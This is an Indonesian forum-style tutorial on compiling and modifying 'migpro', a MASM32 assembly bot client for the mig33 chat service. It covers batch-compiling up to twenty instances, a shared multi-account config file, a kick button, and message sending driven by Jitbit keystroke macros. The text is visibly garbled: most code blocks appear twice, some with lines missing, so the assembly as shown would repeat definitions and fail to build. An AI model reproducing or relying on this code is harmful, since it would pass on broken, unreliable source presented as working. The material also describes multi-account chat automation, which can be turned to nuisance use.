Qta ga bs liat prosesnya atau mungkin klo ada kesalahan..
Cara manual tu ketik cmd dr Run di Start Menu, tampilannya ky gini..
Code:
C:\Documents and Settings\namalo\>
trus masuk ke folder kerja dgn cara ngetik cd c:\migpro, ky dbwh ini..
Code:
C:\Documents and Settings\yourname\>cd c:\migpro
trus pencet ENTER, foldernya jd ganti ke folder kerja lo, ky gini..
Code:
C:\migpro>
Ato cara yg lbh gampang, lo bs masuk ke command prompt dan lgsg berada di folder yg lo mau..
Caranya edit registry lo..
Kopi aja skrip dbwh ini ni trus paste di Notepad..
Simpen jd file baru dgn ekstensi reg, misalnya commandprompt.reg
Code:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\command prompt]
@="Command Prompt from here.."
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\command prompt\command]
@="Cmd.exe /k pushd %L"
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\command prompt]
@="Command Prompt from here.."
[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\shell\command prompt\command]
@="Cmd.exe /k pushd %L"
Abis lo simpen tu file, jalanin dgn cara dobel klik..
Setelah filenya sukses bergabung ke dalam database sistem, lo bs masuk ke command prompt dan lgsg berada di folder yg lo mau dgn cara klik kanan folder di windows explorer trus pilih Command Prompt from here..
Skrg lo dah berada di dlm command prompt dan dlm folder kerja lo..
Tinggal ketik makeit bwt mengkompilasi, ky dbwh ini..
Code:
C:\migpro>makeit
Slnjtnya masm32 bakalan bekerja dan lo bs ngliat prosesnya..
Trus klo qta pgn skaligus mengkompilasi bnyk file gmn?
Lo bisa edit file batch supaya MASM32 mengompilasi scara skaligus smua file asm dan file res lo..
Misalnya lo punya 10 file migpro.asm dan 10 file migpro.res...
Asm source code:
migpro01.asm
...
...
migpro10.asm
Resources:
migpro01.res
...
...
migpro10.res
Maka perintah dlm file makeit.bat jd ky gini:
Code:
@echo off
\masm32\bin\ml /c /coff /Cp migpro01.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro01.obj migpro01.res
\masm32\bin\ml /c /coff /Cp migpro02.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro02.obj migpro02.res
\masm32\bin\ml /c /coff /Cp migpro03.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro03.obj migpro03.res
\masm32\bin\ml /c /coff /Cp migpro04.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro04.obj migpro04.res
\masm32\bin\ml /c /coff /Cp migpro05.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro05.obj migpro05.res
\masm32\bin\ml /c /coff /Cp migpro06.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro06.obj migpro06.res
\masm32\bin\ml /c /coff /Cp migpro07.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro07.obj migpro07.res
\masm32\bin\ml /c /coff /Cp migpro08.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro08.obj migpro08.res
\masm32\bin\ml /c /coff /Cp migpro09.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro09.obj migpro09.res
\masm32\bin\ml /c /coff /Cp migpro10.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro10.obj migpro10.res
\masm32\bin\ml /c /coff /Cp migpro01.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro01.obj migpro01.res
\masm32\bin\ml /c /coff /Cp migpro02.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro02.obj migpro02.res
\masm32\bin\ml /c /coff /Cp migpro03.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro03.obj migpro03.res
\masm32\bin\ml /c /coff /Cp migpro04.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro04.obj migpro04.res
\masm32\bin\ml /c /coff /Cp migpro05.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro05.obj migpro05.res
\masm32\bin\ml /c /coff /Cp migpro06.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro06.obj migpro06.res
\masm32\bin\ml /c /coff /Cp migpro07.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro07.obj migpro07.res
\masm32\bin\ml /c /coff /Cp migpro08.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro08.obj migpro08.res
\masm32\bin\ml /c /coff /Cp migpro09.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro09.obj migpro09.res
\masm32\bin\ml /c /coff /Cp migpro10.asm
\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:\masm32\lib migpro10.obj migpro10.res
Cara eksekusinya sama ky diatas, ketik makeit, ky contoh dbwh ini..
Code:
C:\migpro>makeit
Pas lo pencet ENTER, MASM32 bakalan mengambil alih..
Nah sekarang lo dah punya bnyk file migpro dlm 1 folder..
Trus jgn lupa duplikasi file ini nya bwt stiap file migpro nya, krn klo lo lupa itu adalah perbuatan..auk!
--------------------------------------------------------------------------------
INFO TAMBAHAN
Klo lo nginstall MASM32 ke drive selain C, contohnya drive D (D:\masm32), ato working folder lo berada di drive lain selain C ato D, maka lo harus edit baris2 berikut ini...
1. File makeit.bat
Code:
@echo off
d:\masm32\bin\ml /c /coff /Cp migpro01.asm
d:\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:d:\masm32\lib migpro01.obj migpro01.res
d:\masm32\bin\ml /c /coff /Cp migpro01.asm
d:\masm32\bin\link /SUBSYSTEM:WINDOWS /LIBPATH:d:\masm32\lib migpro01.obj migpro01.res
2. File migpro.asm
Code:
include d:\masm32\include\windows.inc
include d:\masm32\include\user32.inc
include d:\masm32\include\kernel32.inc
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\kernel32.lib
include d:\masm32\include\wsock32.inc
includelib d:\masm32\lib\wsock32.lib
include d:\masm32\include\user32.inc
include d:\masm32\include\kernel32.inc
includelib d:\masm32\lib\user32.lib
includelib d:\masm32\lib\kernel32.lib
include d:\masm32\include\wsock32.inc
includelib d:\masm32\lib\wsock32.lib
EKSPERIMEN GW DI TINGKAT MENENGAH
Skrg gw akan ngebahas percobaan gw trhdp source code migpro..
Perlu diingat, bagian ini adalah PERCOBAAN TANPA GW NGERTI APA MKSUDNYA..
Jd smuanya trial and error hehehe...
--------------------------------------------------------------------------------
A. Perubahan pada migpro di migpro command center v1.0.2 beta
1. Menghilangkan Socket error Message Box
Di migpro command center v1.0.2 beta gw melakukan bbrp perubahan pd aplikasi migpro..
Yg akan gw bahas adalah cara mengalihkan "Socket error" Message Box yg terkenal itu sehingga menyatu ke dlm aplikasi migpronya..
Jd klo terjadi socket error ga nongol lg tu Message Box..
Coba liat di source code migpro yg asli ttg Message Box itu..
Code:
invoke MessageBox,NULL,addr socketerror,addr socketerror,MB_OK
Code diatas itu yg nongolin Message Box..
Mkin bnyk migpro yg dijalanin, mkin bnyk jg Message Box yg nongol..
Gw pindahin tu pesan socket error ke dlm TextBox migpro yg berlabel TEXT_MAIN
TEXT_MAIN tu kotak tempat nongolin sgala pesan slama migpro dijalankan..
Tau kan yg mana..
Ni code nya..
Code:
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr socketerror
Gw ga tau apa artinya, tp gw cobain aja..
Code itu gw contek dr bagian yg ini..
Code:
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr sucLogin
Dmn code itu menyatakan pesan LOGIN SUCCESFULL yg lo liat wktu lo login dgn sukses..
Dan gw ganti smua bagian yg ada invoke MessageBox,NULL,addr socketerror,addr socketerror,MB_OK jd invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr socketerror
--------------------------------------------------------------------------------
2. Mengganti nilai byte
Trus modifikasi yg laen adalah gw nyoba ganti bbrp nilai yg terdapat di bagian2 ky gini..
Code:
db 50 dup(?)
Gw ga lgsg ganti ke nilai yg lbh tinggi coz gw mo liat dl efeknya stlh gw rilis v1.0.2 beta ini..
--------------------------------------------------------------------------------
[color=#FFFF00B. Perubahan pada migpro di migpro command center v2.0.0[/color]
Stlh bbrp hr migpro command center v1.0.2 beta gw rilis, trnyata gada masalah dgn perubahan yg gw lakukan sblmnya itu..
Gada yg melaporkan terjadinya hal2 yg berhub sm penurunan performa aplikasi migpro, walopun jg gada yg melaporkan terjadinya hal2 yg berhub sm peningkatan performa aplikasi migpro wakakak
Di v2 ini gw melakukan lg bbrp perubahan..
Dan sm ky sblmnya, modalnya jg cm coba2 doank
Berikut ini adalah kronologis hasil olah TKP nya..
--------------------------------------------------------------------------------
1. Tipe Prosessor
Yg pertama gw ganti bagian yg ini..
Code:
.386
.model flat,stdcall
option casemap:none
.model flat,stdcall
option casemap:none
dmn .386 tu mungkin menyatakan klo aplikasi yg dikompilasi kompatibel sm prosesor Intel 386..
Nah, di otak gw klo aplikasi dibikin kompatibel sm prosesor jadul, berarti mungkin ada bbrp performa yg dikorbankan..
So gw coba ganti jd ky gini..
Code:
.486
.model flat,stdcall
option casemap:none
.model flat,stdcall
option casemap:none
Kali aja jd naek performanya hehehe..
Ada bbrp pilihan dlm menyatakan jenis prosessor itu..
.386
.486
.586
.686
.686P
Nah tinggal pilih d..
Tapi gw mutusin bwt make yg 486 dl sambil liat2 perkembangannya..
2. Menampilkan ID di aplikasi migpro
Perubahan selanjutnya adalah menampilkan ID qta di TextBox aplikasi migpro..
Dlm langkah ini gw bikin TextBox tambahan di Resource migpro nya (*.res)
Liat di gmbr berikut ini..
TextBox yg ada tulisan vortex01 itu yg gw tambahin..
Code di file resourcesnya (buka pake Resource Hacker) tu..
Code:
CONTROL "", 1002, STATIC, SS_CENTER | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 1, 1, 92, 10 , 0x00000020
Dmn STATIC adalah tipe textbox yg ga bs diedit, ga bs diketik mksdnya..
1002 adalah nilai yg gw kasi biar Control itu dikenali oleh migpro..
Dan gw tambahin baris kode ini di source code migpro..
Code:
.const
TEXT_ID equ 1002
TEXT_ID equ 1002
Nama yg gw kasi TEXT_ID
Nyontek2 bagian yg laen lah dasarnya..
Dan biar textbox itu lgsg nampilin ID qta, maka gw tambahin baris kode dibagian berikut ini..
Code:
DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_INITDIALOG
mov edx,hWnd
mov hwwnd,edx
invoke GetCurrentDirectory,sizeof CurrentDir,addr CurrentDir
invoke lstrcat, addr CurrentDir,addr backslash
invoke lstrcat, addr CurrentDir,addr inifilename
invoke SetTimer,hWnd,ID_TIMER,60000,0
invoke GetPrivateProfileString,addr khead,addr unamafini,addr szNull,addr username,sizeof username,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr pfini,addr szNull,addr password,sizeof password,addr CurrentDir
invoke WinSockProc,addr IPAddress,Port,hWnd
invoke SetDlgItemText,hwwnd,TEXT_ID,addr uname
.IF uMsg==WM_INITDIALOG
mov edx,hWnd
mov hwwnd,edx
invoke GetCurrentDirectory,sizeof CurrentDir,addr CurrentDir
invoke lstrcat, addr CurrentDir,addr backslash
invoke lstrcat, addr CurrentDir,addr inifilename
invoke SetTimer,hWnd,ID_TIMER,60000,0
invoke GetPrivateProfileString,addr khead,addr unamafini,addr szNull,addr username,sizeof username,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr pfini,addr szNull,addr password,sizeof password,addr CurrentDir
invoke WinSockProc,addr IPAddress,Port,hWnd
invoke SetDlgItemText,hwwnd,TEXT_ID,addr uname
Ni bagian yg gw tambahin..
Code:
invoke SetDlgItemText,hwwnd,TEXT_ID,addr uname
--------------------------------------------------------------------------------
3. Menyatukan semua konfigurasi migpro ke dalam 1 file
Trus kpikir lg sm gw (dah dr dl gw pikirin tp baru nemu di v2 ini) gmn caranya menyatukan smua konfigurasi migpro itu ke dlm 1 file ini aja..
Qta tau isi di dlm file konfigurasi migpro tu ky gini..
Code:
[details]
uname=
password=
chatroom=
kickuname=
uname=
password=
chatroom=
kickuname=
Gw pgn smuanya ditumpuk ke dlm 1 file itu, jd nantinya ga bnyk proses penyimpanan file yg dilakukan migpro command center..
Skali save, smuanya ke-save..
Nah gw coba bikin file konfigurasi itu jd ky gini..
Code:
[details]
id01=
...
...
id20=
pwd01=
...
...
pwd20=
room=
kick=
id01=
...
...
id20=
pwd01=
...
...
pwd20=
room=
kick=
Skrg tinggal ngerubah source code migpro nya biar file konfigurasinya jln..
Gw edit bagian yg ini..
Code:
.data
DlgName db "MigDialog",0
khead db "details",0
kickUname db "kickuname",0
chatroom db "chatroom",0
inifilename db "setup.ini",0
backslash db "\",0
szNull db 0
unamafini db "uname",0
pfini db "password",0
sucLogin db "LOGIN SUCCESFULL",0
socketerror db "socket error",0
DlgName db "MigDialog",0
khead db "details",0
kickUname db "kickuname",0
chatroom db "chatroom",0
inifilename db "setup.ini",0
backslash db "\",0
szNull db 0
unamafini db "uname",0
pfini db "password",0
sucLogin db "LOGIN SUCCESFULL",0
socketerror db "socket error",0
Liat perubahan yg gw lakukan dbwh ini...
Code:
.data
DlgName db "MigDialog",0
inifilename db "migpro.ini",0
khead db "details",0
unamafini db "id01",0
pfini db "pwd01",0
chatroom db "room",0
kickUname db "kick",0
IPAddress db "66.151.149.112",0
Port dd 9119
backslash db "\",0
szNull db 0
sucLogin db "Login Successful",0
socketerror db "socket error",0
DlgName db "MigDialog",0
inifilename db "migpro.ini",0
khead db "details",0
unamafini db "id01",0
pfini db "pwd01",0
chatroom db "room",0
kickUname db "kick",0
IPAddress db "66.151.149.112",0
Port dd 9119
backslash db "\",0
szNull db 0
sucLogin db "Login Successful",0
socketerror db "socket error",0
Kode diatas bwt 1 aplikasi migpro, yaitu migpro01
Tinggal ganti2 bwt migpro lainnya, ky gini..
Code:
.data
DlgName db "MigDialog",0
inifilename db "migpro.ini",0
khead db "details",0
unamafini db "id02",0
pfini db "pwd02",0
chatroom db "room",0
kickUname db "kick",0
IPAddress db "66.151.149.112",0
Port dd 9119
backslash db "\",0
szNull db 0
sucLogin db "Login Successful",0
socketerror db "socket error",0
DlgName db "MigDialog",0
inifilename db "migpro.ini",0
khead db "details",0
unamafini db "id02",0
pfini db "pwd02",0
chatroom db "room",0
kickUname db "kick",0
IPAddress db "66.151.149.112",0
Port dd 9119
backslash db "\",0
szNull db 0
sucLogin db "Login Successful",0
socketerror db "socket error",0
Jd tinggal ganti bagian uname dan password doank..
Dan gw ganti di smua bagian yg nyebut2 uname dan password dgn id01 dan pwd01
Oia, 1 lg yg hrs ditambahin, yaitu dibagian ini...
Code:
.data?
hInstance HINSTANCE ?
sock dd ?
id01 db 50 dup (?)
pwd01 db 50 dup (?)
hInstance HINSTANCE ?
sock dd ?
id01 db 50 dup (?)
pwd01 db 50 dup (?)
Jadilah smuanya dlm 1 file..
4. Mengganti nilai byte
Trus gw inget lg sm nilai byte yg prnh gw ganti di v1.0.2 beta..
Kali ini gw naikin lg nilainya jd..
Code:
db 512 dup(?)
Dan ga smua bagian gw ganti nilainya jd sgitu..
Ada bbrp bagian yg ga perlu diganti sampe sgitu bnyk..
Soale ada bbrp hal yg baru gw sadari stlh bbrp x uji coba..
Bagian2 itu adalah:
Code:
.data?
hInstance HINSTANCE ?
sock dd ?
username db 50 dup (?)
password db 50 dup (?)
hInstance HINSTANCE ?
sock dd ?
username db 50 dup (?)
password db 50 dup (?)
gw ganti jd..
Code:
.data?
hInstance HINSTANCE ?
sock dd ?
id01 db 21 dup (?)
pwd01 db 256 dup (?)
hInstance HINSTANCE ?
sock dd ?
id01 db 21 dup (?)
pwd01 db 256 dup (?)
id01 gw ganti jd 21 krn pjg username maksimal cm 20 karakter kan?
nah gw ganti jd 20, hasilnya ID gw yg 20 digit ga bs login..
gw ganti jd 21, eh baru bs..
yaudah gw berkesimpulan harus ditambahin 1 hehehe..
pwd01 gw ganti jd 256 krn password mig33 kynya ga dibatesin ya?
mo panjang sbrp jg bs..
mknya pernah ga lo ngalamin ga bs login molo dgn migpro yg asli dan ID lo punya password ky KRL jabotabek?
itu dikarenakan migpro asli cm nge-set 50 byte..
Password yg lebih dr 50 karakter bakalan ga bs login..
mknya gw mutusin ganti jd 256 coz password terpanjang gw cm 100an digit
5. Info tambahan (teks entering the room.., leaving the room.. dan kicking)
Bagian ini awalnya gw bikin cm bwt ngetest aja, keystroke yg gw bikin di Jitbit jalan dan kena sasaran ga..
Soale gw ga make mouse-click, tp pake kibord, jd gw hrs tau tombol kibord yg dikirim sm Jitbit ke aplikasi migpro mendarat di tmpt yg bener ga..
Bwt keperluan ini gw tambahin teks entering the room..., leaving the room... dan kicking, dan akan nongol klo tombol Enter, Leave ato Kick dipencet..
Gw kasi baris kode ky gini..
Code:
.data
DlgName db "MigDialog",0
masuk db "entering the room...",0
kluar db "leaving the room...",0
tendang db "kicking",0
DlgName db "MigDialog",0
masuk db "entering the room...",0
kluar db "leaving the room...",0
tendang db "kicking",0
dan biar teks itu nongol di textbox TEXT_MAIN, gw tambahin baris kode berikut ini..
Code:
.IF ax==IDC_JOINCHAT
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr masuk
.ELSEIF ax==IDC_KIKUSER
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr tendang
.ELSEIF ax==IDC_LEAVEROOM
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr kluar
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr masuk
.ELSEIF ax==IDC_KIKUSER
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr tendang
.ELSEIF ax==IDC_LEAVEROOM
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr kluar
Trus gw test script Jitbit yg dah gw bikin dgn cara menjalankannya berulangkali..
Gw pratiin, stiap gw klik tombol Enter di mcc nongol ga teks entering the room...
ato stiap gw klik tombol Leave di mcc nongol ga teks leaving the room...
ato stiap gw klik tombol Kick di mcc nongol ga teks kicking
dan ternyata smuanya berjalan dgn baik..
Teks yg nongol sesuai dgn tombol yg gw pencet..
brarti klo gw coba scara online seharusnya dah tepat, aksi apa yg terjadi ktika gw mencet sbuah tombol..
dan emank tepat ternyata pas gw cobain online..
brarti beres! :p
--------------------------------------------------------------------------------
6. Tombol ?
Yah ini cm bwt keren2an doank..
biar nama gw nongol klo ada yg iseng mencet tombol ? hehehe..:p
cincaylah ama gw..
itung2 numpang ngetop wakakakak...
Pertama, gw tambahin tombol ? di resources migpro..
ni kodenya..
Code:
CONTROL "?", 3005, BUTTON, BS_PUSHBUTTON | BS_FLAT | WS_CHILD | WS_VISIBLE, 96, 1, 25, 10
3005 adalah nilai yg gw kasi biar Control itu dikenali oleh migpro..
Dan gw tambahin baris kode ini di source code migpro..
Code:
.const
IDC_ABOUT equ 3005
IDC_ABOUT equ 3005
Nama yg gw kasi IDC_ABOUT, dan skali lg, ini adalah berdasarkan nyontek dr bagian laen hehehe..
di bagian ini jg gw tambahin.
Code:
.data
about db "this migpro was modified by vortex",0
about db "this migpro was modified by vortex",0
trus biar teks "this migpro was modified by vortex" nongol pas tombol ? dipencet, gw nambahin kode ini..
Code:
.ELSEIF ax==IDC_ABOUT
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr about
invoke SetDlgItemText,hwwnd,TEXT_MAIN,addr about
7. Send Message
Ini perubahan terakhir yg disanggupi otak gw di v2..
Bagian ini yg butuh wktu lbh lama..
berkali2 ga jalan stiap gw mencet tombol Send Message di mcc v2..
Yg gw pengen awalnya tuh bgitu dipencet tombol Send Message, lgsg d message nya terkirim..
tapi gw ga nemu2 caranya, smntara si Kimi Raikkonen dah nelpon gw molo minta dikirimin mcc v2 ke imelnya hehehe..
Yaudah, gw pake cara berbelit2 aja d..
yg penting jalan
Dlm file konfigurasi migpro, di baris2 paling akhir gw tambahin ky gini..
Code:
ngocol01=
...
...
ngocol20=
...
...
ngocol20=
Itu sm ky bagian id01= atau pwd01= atau room= atau kick01= dan bagian itu bwt nampung data message yg mo dikirim ke mig33..
gw namain ngocol coz... ya suka2 gw donk!
Pertama gw tambahin dl kode dibagian .data, ky gini..
Code:
.data
omong db "ngocol01", 0
omong db "ngocol01", 0
dimana ngocol01 adalah data pesan dr migpro01..
trus gw tambahin jg baris kode di bagian .data? ky gini..
Code:
ngocol01 db 50 dup (?)
baris ini cm nyontek aja dr baris lainnya..
tp stlh gw rilis v2, gw baru nyadar ternyata gw blm ganti nilai 50, coz 50 cm bisa nampilin 49 karakter (ky yg dah dibahas sblmnya)...
mungkin di rilis berikutnya akan gw ganti jd 81, biar pas 80 karakter ky yg diijinkan mig33..
Nah, berikut ini yg gw maksud dgn cara berbelit2..
Ni urutan prosesnya..
1. Bgitu tombol Send Message di mcc v2 dipencet, teks message nya lgsg di-save di file konfigurasi
2. Selesai di-save, lgsg script jitbit yg dah dikompilasi jd exe dijalankan dan memberikan keystroke ke tombol Send di aplikasi migpro
3. Begitu Tombol Send di aplikasi migpto dipencet (dipencet sm jitbit melalui keystroke), migpro lgsg ngebaca teks yg ada di file konfigurasinya (ngocol01=)
4. Gmn cara dia baca?
Di bagian ini yg dah gw tambahin baris kodenya..
Code:
DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_INITDIALOG
mov edx,hWnd
mov hwwnd,edx
invoke GetCurrentDirectory,sizeof CurrentDir,addr CurrentDir
invoke lstrcat, addr CurrentDir,addr backslash
invoke lstrcat, addr CurrentDir,addr inifilename
invoke SetTimer,hWnd,ID_TIMER,60000,0
invoke GetPrivateProfileString,addr khead,addr unamafini,addr szNull,addr id01,sizeof id01,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr pfini,addr szNull,addr pwd01,sizeof pwd01,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir
invoke WinSockProc,addr IPAddress,Port,hWnd
invoke SetDlgItemText,hwwnd,TEXT_ID,addr id01
.IF uMsg==WM_INITDIALOG
mov edx,hWnd
mov hwwnd,edx
invoke GetCurrentDirectory,sizeof CurrentDir,addr CurrentDir
invoke lstrcat, addr CurrentDir,addr backslash
invoke lstrcat, addr CurrentDir,addr inifilename
invoke SetTimer,hWnd,ID_TIMER,60000,0
invoke GetPrivateProfileString,addr khead,addr unamafini,addr szNull,addr id01,sizeof id01,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr pfini,addr szNull,addr pwd01,sizeof pwd01,addr CurrentDir
invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir
invoke WinSockProc,addr IPAddress,Port,hWnd
invoke SetDlgItemText,hwwnd,TEXT_ID,addr id01
kode invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir inilah yg akan membaca isi teks yg ada di file konfigurasi migpro itu.
Bgitu dibaca, gw merintahin migpro bwt nampilin teks itu di textbox EDIT_TEMP (tempat qta ngetik pesan di aplikasi migpro yg asli) ketika tombol Send di aplikasi migpro dipencet..
Baris kodenya ky gini..
Code:
.ELSEIF ax==IDC_TEMP
invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir
invoke SetDlgItemText,hWnd,EDIT_TEMP,addr ngocol01
invoke GetDlgItemText,hWnd,EDIT_TEMP,addr DLGtext,50
invoke GetPrivateProfileString,addr khead,addr chatroom,addr szNull,addr KCname,sizeof KCname,addr CurrentDir
invoke HIPacket,addr DLGtext,addr KCname,addr id01
invoke AutoInc,addr HIPBuffer
invoke send,sock,addr HIPBuffer,HIhsize,0
invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir
invoke SetDlgItemText,hWnd,EDIT_TEMP,addr ngocol01
invoke GetDlgItemText,hWnd,EDIT_TEMP,addr DLGtext,50
invoke GetPrivateProfileString,addr khead,addr chatroom,addr szNull,addr KCname,sizeof KCname,addr CurrentDir
invoke HIPacket,addr DLGtext,addr KCname,addr id01
invoke AutoInc,addr HIPBuffer
invoke send,sock,addr HIPBuffer,HIhsize,0
kode invoke GetPrivateProfileString,addr khead,addr omong,addr szNull,addr ngocol01,sizeof ngocol01,addr CurrentDir inilah yg bertugas membaca isi teks di file konfigurasi migpro dan kmudian menampilkannya di textbox EDIT_TEMP
ini berarti sm aja kan ky qta ngetik manual di textbox EDIT_TEMP?
hehehe... gw bermain akal2an disini walopun jdnya berbelit2..
kode invoke GetDlgItemText,hWnd,EDIT_TEMP,addr DLGtext,50 ini jg lupa gw ganti coz nilai 50 cm nampilin 49 karakter..
beres deh!
skrg gw tinggal ngerubah EDIT_TEMP jd STATIC aja di resource migpro..
kodenya ky gini..
Code:
CONTROL "", 2000, STATIC, SS_LEFT | SS_SUNKEN | WS_CHILD | WS_VISIBLE, 1, 51, 92, 12 , 0x00020000
knp gw ganti jd static?
krn aksi yg gw bikin di Jitbit kan pake keystroke, dan gw milih perpindahan antar tombolnya tu pake tombol UP dan DOWN
nah dgn tombol ini klo kursor nyasar di textbotx EDIT_TEMP, yaudah wassalam..
tu kursor ga bs kmn2 lg, terjebak aja di textbox itu..
buktiin aja sendiri..
lo jalanin migpro yg asli, trus lo pencet tombol DOWN smpe kursornya masuk ke textbox EDIT_TEMP..
ampe gila jg ga bakalan pindah tu kursor walopun lo pencet tombol UP ato DOWN berkali2..
Bwt menghindari kelemahan tombol UP dan DOWN ini sbnrnya bisa diakalin dgn menggunakan tombol TAB..
tp tombol TAB dipencet berkali2 dia jalan terus...
pindah terus ke stiap Control yg ada di resources migpro..
buktiin lg..
jalanin migpro yg asli trus pencet tombol TAB berkali2..
pindah terus kan dia?
Knp gw ga mau dia pindah terus?
krn ada kmungkinan keystroke tu nyasar klo qta jalanin aksi jitbit berkali2 dgn intensitas dan frekuensi tinggi..
nah mknya gw make tombol UP dan DOWN coz klo dia dah nyampe di tombol ENTER nya aplikasi migpro, dia ga bisa kmn2 lg..
bwt tindakan minimalisasi salah pendaratan aja..
jd rada aman lah hehehe...
soale dgn mengganti EDIT_TEMP jd STATIC fokusnya (kursor) ga bakalan mampir kesana..
--------------------------------------------------------------------------------
Bwt info:
migpro selalu membaca ulang file konfigurasinya stiap x qta mencet tombol Enter, Leave, Kick ato Send..
ini yg gw pegang dlm hal mengontrol file konfigurasi migpro, termasuk dlm hal Send Message..
Stiap x mencet tombol Send Message di MCC, maka MCC akan nge-save dl teks yg ada di textbox message nya..
Abis itu br aksi jitbit dijalanin, yaitu mencet tombol Send di aplikasi migpro..
bgitu tombol ini dapet pencetan (apaan coba pencetan) maka migpro akan ngebaca ulang file konfigurasinya, trus baru bertindak sesuai amanat dr MCC..
Nah dr kelakuan migpro ini, gw yakin lo pasti bs nemuin bnyk hal yg bs diutak atik..
--------------------------------------------------------------------------------
Selesai deh!
selama seminggu gw test dl MCC v2 dikalangan terbatas..
stlh memastikan gada error (stdk2nya dr hasil reporting) baru gw rilis ke publik..
tp tetep aja gw lupa bwt ngedit nilai2 yg hrsnya gw edit sblm gw rilis ke publik..
di rilis brikutnya d, klo gw blm bosen ama MCC..
wokeh sgitu aja..
smoga bermanfaat dan lo bisa nemuin fitur2 baru berdasarkan yg dah gw kerjain ini..
ato mungkin bisa mempersingkat prosesnya..
slamet ngutak atik!
C. migpro command center v2.0.0 addons
Sejak 10 April 2008, berbarengan sm mig33 ngeluncurin paket emotikonnya yg baru, hampir smua pengguna migpro mengalami error. Stiap kali migpro dah login, lgsg d nongol error Don't Send yg ngetop itu..
aplikasi migpro bawaan migpro command center jg eror..
jd gw bikin modifikasi baru yg memiliki bbrp konfigurasi yg berbeda, trs gw kumpulin smuanya kedlm addons..
modifikasi yg gw bikin cm di 2 bagian..
1. Tipe Prosesor
Gw cm make 2 tipe prosesor, .386 dan .486
Folder A01 - A05 make .386
Folder A06 - A10 make .486
--------------------------------------------------------------------------------
2. Mengganti nilai byte
Di bagian ini gw naekin nilainya jd 2048 smpe 3072
Dgn 2 bagian modifikasi itu, aplikasi migpro jalan lg..
Tapi smpe skrg gw masi blm ngerti apa hubungan modifikasi yg gw bikin itu sm eror yg nongol sjk tgl 10 April..
--------------------------------------------------------------------------------
D. Eksperimen Baru
Gw nemuin cara biar migpro bisa ngebaca IP Address dari file konfigurasinya..
Coba liat modifikasi yg gw bikin..
Pertama di bagian .data directive (section)
Code:
.data
IPAddress db "address",0
IPAddress db "address",0
Kedua di bagian .data? directive (section)
Code:
.data?
address db 50 dup (?)
address db 50 dup (?)
trakhir di bagian prosedur DlgProc proc..
Code:
DlgProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_INITDIALOG
mov edx,hWnd
mov hwwnd,edx
invoke GetCurrentDirectory,sizeof CurrentDir,addr CurrentDir
invoke lstrcat, addr CurrentDir,addr backslash
invoke lstrcat, addr CurrentDir,addr inifilename
invoke SetTimer,hWnd,ID_TIMER,60000,0
invoke GetPrivateProfileString,addr khead,addr unamafini,addr szNull,addr id01,sizeof id01,addr CurrentDir
